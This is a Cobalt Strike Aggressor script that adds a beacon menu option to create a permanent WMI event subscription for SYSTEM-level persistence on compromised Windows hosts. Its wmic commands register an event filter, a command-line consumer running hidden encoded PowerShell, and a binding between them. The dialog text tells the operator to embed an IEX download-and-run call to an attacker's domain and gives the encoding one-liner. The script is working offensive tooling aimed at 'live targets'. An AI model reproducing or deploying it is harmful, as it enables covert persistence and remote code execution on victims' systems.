#Permanent WMI Event using WMIC Persistence
#Author: @r3dQu1nn
#Generates a Custom WMI Event using WMIC for SYSTEM Level persistence on selected beacon
#Very syntax heavy, Test first before using on live targets

sub persistwmieventwmic {
	$bid = $1;
	$dialog = dialog("Permanent WMI Event using WMIC Persistence", %(eventfilter => "__EventFilter Name..", eventquery => "Event Query...(Win32 Classes)", eventconsumer => "CommandLineEventConsumer Name..(Must be different from __EventFilter Name)", commandline => "CommandLineTemplate Syntax..(powershell.exe -w hidden -enc)", payloadfile => "Encoded Payload String.."), lambda({
		if ("$3['eventfilter']" ismatch '__EventFilter Name..' || "$3['eventquery']" ismatch 'Event Query...(Win32 Classes)' || "$3['eventconsumer']" ismatch 'CommandLineEventConsumer Name..(Must be different from __EventFilter Name)' || "$3['commandline']" ismatch 'CommandLineTemplate Syntax..(powershell.exe -w hidden)' || "$3['payloadfile']" ismatch 'Select Encoded Payload..') {
			berror($bid, "\c4Please enter a valid Custom __EventFilter Name, Event Query, CommandLineEventConsumer Name, Command Line Options, and the Encoded Payload File.");
			break;
		}
		else {
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter CREATE Name="'.$3['eventfilter'].'", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="'.$3['eventquery'].'"');
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer CREATE Name="'.$3['eventconsumer'].'", CommandLineTemplate="'.$3['commandline']." ".split("/",$3['payloadfile'])[-1].'"');
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"'.$3['eventfilter'].'\"", Consumer="CommandLineEventConsumer.Name=\"'.$3['eventconsumer'].'\""');
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list');
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list');
			bshell($bid, 'wmic /NAMESPACE:"\\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list');
		}
	}));
	dialog_description($dialog, "Generates a Custom WMI Event using WMIC for SYSTEM Level persistence on selected beacon. **Syntax is heavy, Test before using on live targets. Encoded Payload must include IEX ((new-object new.webclient).downloadstring(http://yourdomain/payload.txt)) Utilize the following command to encode the payload correctly: cat payload.txt | iconv --to-code=UTF-16LE | base64** ");
	
	#base 64 encode IEX of the powershell one liner
	#cat payload.txt | iconv --to-code=UTF-16LE | base64
	
	drow_text($dialog, "eventfilter",  "Custom __EventFilter Name:");
	drow_text($dialog, "eventquery", "Custom Event Query:");
	drow_text($dialog, "eventconsumer", "Custom CommandLineEventConsumer Name:");
	drow_text($dialog, "commandline", "Custom Command Line Options:");
	drow_text($dialog, "payloadfile", "Custom Encoded Payload String:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}

popup beacon_bottom {
	item "&Permanent WMI Event using WMIC Persistence" {
		local('$bid');
		foreach $bid ($1) {
			if (-isadmin $bid) {
				persistwmieventwmic($bid);
			}
			else {
				berror($1, "\c4Persistence Requires Admin Level Privileges");
			}
		}
	}
}